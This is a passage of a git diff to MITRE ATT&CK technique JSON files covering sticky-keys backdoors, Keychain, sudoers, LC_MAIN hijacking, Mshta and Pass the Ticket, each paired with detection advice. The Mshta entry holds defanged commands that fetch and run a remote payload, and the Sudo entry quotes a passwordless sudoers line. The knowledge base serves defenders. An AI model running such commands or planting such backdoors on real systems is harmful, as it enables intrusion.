10\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center",
+            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n*App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -61,18 +61,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d.json b/enterprise-attack/attack-pattern/attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d.json
index c2581da216..d912b2b196 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--39e77f35-a351-4c26-9188-fdc1edd42364",
+    "id": "bundle--f92bde95-458f-464a-b1ee-d9b0e6513a32",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Keychain",
-            "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: MacOS, OS X\n\nData Sources: System calls, Process Monitoring\n\nPermissions Required: Administrator",
+            "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: macOS\n\nData Sources: System calls, Process Monitoring\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -45,8 +45,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72.json b/enterprise-attack/attack-pattern/attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72.json
index cfe3870c04..46b4eff96b 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--199d290a-b7c1-4d86-8ebd-070b17baf4df",
+    "id": "bundle--f2bbb54b-e239-4bd6-8645-67329abdd2ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sudo",
-            "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User",
+            "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -43,8 +43,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373.json b/enterprise-attack/attack-pattern/attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373.json
index 5a5c9ff4da..60f43de742 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eadfba49-3c5f-4620-9903-dafaaa1bdbcf",
+    "id": "bundle--73a5177d-9603-4f6e-aba0-b50a6990abc8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LC_MAIN Hijacking",
-            "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
+            "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -52,8 +52,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27.json b/enterprise-attack/attack-pattern/attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27.json
index f5e6aca709..8adcc1a79f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--06b7c19e-aee9-4f38-9364-82b24851618a",
+    "id": "bundle--301f5d7c-42f8-4216-a880-ceffc6b2c050",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:12.196Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Account Manipulation",
-            "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems.\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, API monitoring, Windows event logs\n\nPermissions Required: Administrator",
+            "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, API monitoring, Windows event logs, Packet capture\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -27,6 +27,16 @@
                     "source_name": "Microsoft User Modified Event",
                     "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.",
                     "url": "https://docs.microsoft.com/windows/device-security/auditing/event-4738"
+                },
+                {
+                    "source_name": "InsiderThreat ChangeNTLM July 2017",
+                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
+                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
+                },
+                {
+                    "source_name": "GitHub Mimikatz Issue 92 June 2017",
+                    "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.",
+                    "url": "https://github.com/gentilkiwi/mimikatz/issues/92"
                 }
             ],
             "object_marking_refs": [
@@ -35,24 +45,14 @@
             "x_mitre_data_sources": [
                 "Authentication logs",
                 "API monitoring",
-                "Windows event logs"
+                "Windows event logs",
+                "Packet capture"
             ],
             "x_mitre_permissions_required": [
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec.json b/enterprise-attack/attack-pattern/attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec.json
new file mode 100644
index 0000000000..0acedb5017
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec.json
@@ -0,0 +1,92 @@
+{
+    "type": "bundle",
+    "id": "bundle--35af4113-45ed-4c01-b7f7-8c6a233d4888",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Mshta",
+            "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, @yeyint_mth",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "execution"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1170",
+                    "external_id": "T1170"
+                },
+                {
+                    "source_name": "Wikipedia HTML Application",
+                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
+                    "url": "https://en.wikipedia.org/wiki/HTML%20Application"
+                },
+                {
+                    "source_name": "MSDN HTML Applications",
+                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
+                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
+                },
+                {
+                    "source_name": "Cylance Dust Storm",
+                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
+                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
+                },
+                {
+                    "source_name": "Red Canary HTA Abuse Part Deux",
+                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
+                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
+                },
+                {
+                    "source_name": "FireEye Attacks Leveraging HTA",
+                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
+                },
+                {
+                    "source_name": "Airbus Security Kovter Analysis",
+                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017."
+                },
+                {
+                    "source_name": "FireEye FIN7 April 2017",
+                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
+                },
+                {
+                    "source_name": "GitHub SubTee The List",
+                    "description": "[ Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, 2017."
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Ricardo Dias",
+                "Ye Yint Min Thu Htut, @yeyint_mth"
+            ],
+            "x_mitre_data_sources": [
+                "Process monitoring",
+                "Process command-line parameters"
+            ],
+            "x_mitre_defense_bypassed": [
+                "Application whitelisting"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ],
+            "x_mitre_remote_support": false
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776.json b/enterprise-attack/attack-pattern/attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776.json
index d5fc4277cc..2a7481d9bc 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e8efd7e0-7026-4b44-a4c9-d1556ff58e18",
+    "id": "bundle--cb7b344d-ff6f-45b2-bc52-fe399a698fef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:44.720Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Alternative Protocol",
-            "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes",
+            "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -42,21 +42,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c.json b/enterprise-attack/attack-pattern/attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c.json
index 1e666e1fab..b666faf61f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--36f8f2b7-272c-4604-9fc5-9981bfb52956",
+    "id": "bundle--55d6106a-ef57-47ce-8ef7-453f9f56de48",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:11.623Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass the Ticket",
-            "description": "Pass the ticket (PtT) (Citation: Aorato PTT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar",
+            "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar, Vincent Le Toux",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -23,20 +23,14 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1097",
                     "external_id": "T1097"
                 },
-                {
-                    "source_name": "Aorato PTT",
-                    "description": "Aorato. (n.d.). Pass-the-Ticket. Retrieved November 12, 2014.",
